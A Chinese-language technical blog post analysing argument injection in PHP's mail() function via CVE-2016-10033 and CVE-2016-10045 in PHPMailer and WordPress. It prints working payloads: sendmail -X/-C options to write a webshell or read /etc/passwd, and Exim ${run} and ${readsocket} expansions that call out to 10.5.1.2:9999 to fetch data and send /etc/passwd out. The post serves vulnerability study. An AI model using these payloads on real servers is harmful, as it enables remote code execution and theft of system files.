从PHP mail()学习参数注入漏洞

本文最后更新于:2021年8月19日 下午

这里引用 P 牛原话解释参数注入漏洞

参数注入漏洞是指,在执行命令的时候,用户控制了命令中的某个参数,并通过一些危险的参数功能,达成攻击的目的。

0x00 Mail 函数简介

1
2
3
4
5
bool mail ( string $to  电子邮件收件人,或收件人列表
, string $subject 电子邮件的主题
, string $message 邮件内容
[, string $additional_headers
[, string $additional_parameters ]] ) 许多web应用使用它设置发送者的地址和返回路径

第五个参数($additional_parameters),允许注入额外的参数给邮件发送程序,可以被注入恶意参数导致命令执行。在 Linux 系统上,mail 函数在底层由 MTA 邮件传输代理软件安装在系统上面,比如 sendmail、Exim、Postfix 等。

0x01 漏洞利用

以 CVE-2016-10033 为例,对比补丁分析
image.png
使用 escapeshellarg 来处理$this->Sender我们跟随$param的走向可知$param最终会被 mail 函数使用,在class.phpmailer.phpmailPassthru函数中
image.png
位于\wp-includes\pluggable.php中 wp_mail 函数调用 setFrom 设置 phpmailer
image.png
当调用 WordPress wp_mail()函数(忘记密码,注册用户)发送邮件时,WordPress 会根据$SERVER_NAME设置邮件域$from_email='wordpress@'.$sitename;经过过滤之后传给易受攻击的 phpmailer 的 setFrom 函数。而$SERVER_NAME可以通过 http 中的 HOST 头赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: inject
Connection: keep-alive
Content-Length: 99
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://120.55.42.95:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8080/wp-login.php?action=lostpassword
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1618994337; JSESSIONID=22E4F619EA19279F411F77FB5E3CB2C6

user_login=Admin%40foxmail.com&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81

如上请求将会传递以下参数给/usr/sbin/sendmail,并以sh执行
/usr/sbin/sendmail [-t] [-i] [-f wordpress@inject]
其中-t 和-i 参数由 PHP 自动添加。参数-t 使 sendmail 从标准输入中提取头,-i 阻止 sendmail 将.作为输入的结尾。-f 来自于 mail()函数的 additional_parameters。

1
2
3
execve("/bin/sh",
["sh", "-c", "/usr/sbin/sendmail -t -i -f wordpress@inject extra"],
[/* 24 environment vars */])

一般针对Sendmail MTA我们有以下几种攻击方法

-X 任意文件写

-X logfile 是记录 log 文件的,就是可以写文件;
/usr/bin/sendmail –t –i -f 123@456 -OQueueDirectory=/tmp/ -X/var/www/shell.php
可简化为/usr/bin/sendmail –t –i -f 123@456 -oQ=/tmp/ -X./shell.php

-C 任意文件读 ~

-C //file 是临时加载一个配置文件,就是可以读文件;
/usr/sbin/sendmail -i -t -C/etc/passwd -X/tmp/output.txt

-O 覆盖配置文件执行代码 ~

-O //option=value 是临时设置一个邮件存储的临时目录的配置。
/usr/bin/sendmail –t –i -f 123@456 -oQ/tmp -X./upload/sendmail_cf

但实际上 wordpress 对 server_name 传入值进行了 strtolower 处理,且 Linux 区分大小写故以上攻击方法均失效。

1
2
3
4
[root@iZbp19ryeo1038lmdsso1pZ ~]# whereis sendmail
sendmail: /usr/sbin/sendmail /usr/sbin/sendmail.postfix /usr/lib/sendmail /usr/lib/sendmail.postfix /usr/share/man/man8/sendmail.8.gz
[root@iZbp19ryeo1038lmdsso1pZ ~]# file /usr/sbin/sendmail
/usr/sbin/sendmail: symbolic link to `/etc/alternatives/mta'

Sendmail EXIM支持开启 exim4 字符串扩展,可通过-be 参数注入参数。我们可以利用以下扩展内容

1
2
3
4
5
6
7
8
9
10
11
${run{<command> <args>}{<string1>}{<string2>}}
//执行命令<command> <args>,成功返回string1,失败返回string2

${substr{<string1>}{<string2>}{<string3>}}
//字符串的截取,在string3中从string1开始截取string2个字符

${readfile{<file name>}{<eol string>}}
//读文件file name,以eol string分割

${readsocket{<name>}{<request>}{<timeout>}{<eol string>}{<fail string>}}
//发送socket消息,消息内容为request

在很多时候,很多特殊符号不能直接出现在 payload 中如:/,空格等。在 HOST 标头中出现/就会报 500 错误。这个时候我们就可以从环境变量中取值截取我们想要的字符。
Dawid Golunski 找到一个内部 exim 变量${tod_log}中包含空格,${spool_directory}包含/
image.png
故接下来就可以用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格。

${run{}{}}执行命令

/usr/sbin/sendmail –t –i -f root@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}10.5.1.2${substr{13}{1}{$tod_log}}9999${substr{0}{1}{$spool_directory}}rce.txt}}
可以通过外带数据将将命令执行结果取出来,也可反弹 shell,写 webshell 等
https://github.com/vulhub/vulhub/blob/master/wordpress/pwnscriptum/

${readfile{}{}}读文件

/usr/sbin/sendmail –t –i -f root@localhost -be ${readsocket{inet${substr{13}{1}{$tod_log}}10.5.1.2${substr{13}{1}{$tod_log}}9999}{${readfile{${substr{0}{1}{$spool_directory}}etc${substr{0}{1}{$spool_directory}}passwd}{}}}{3s}{}{failure}}

0x02 escapeshellarg 和 escapeshellcmd 混用导致的 Bypass

还是以 CVE-2016-10033 为例,它修复的方法为使用 escapeshellcmd 对$this->sender 进行处理
,而 phpmailer 在内部已经实现了 escapeshellarg,因两者的不恰当使用导致了 Bypass。先来科普以下 escapeshellarg 和 escapeshellcmd

escapeshellarg

  1. 确保用户只传递一个参数给命令
  2. 用户不能指定更多的参数一个
  3. 用户户不能执行不同的命令

将给字符串增加一对单引号并且转义任何已经存在的单引号

escapeshellcmd

  1. 确保用户只执行一个命令
  2. 用户可以指定不限数量的参数
  3. 用户不能执行不同的命令
1
& # ; ` | * ? ~ < > ^ ( ) [ ] { } $\ \x0A \xFF		//这些字符以及不配对' "会被转义

当一个参数经过 escapeshellarg 又经过 escapeshellcmd 处理时

1
$cmd = escapeshellcmd(escapeshellarg($cmd));

如果此时 cmd 输入为 1’
那经过 escapeshellarg 就会变为'1'\'''
再经过 escapeshellcmd 处理就变为'1'\\''\',此时’已经逃了出来。又造成了参数逃逸(CVE-2016-10045)

0x03 Reference

[1] https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
[2] https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
[3] http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98
[4] https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html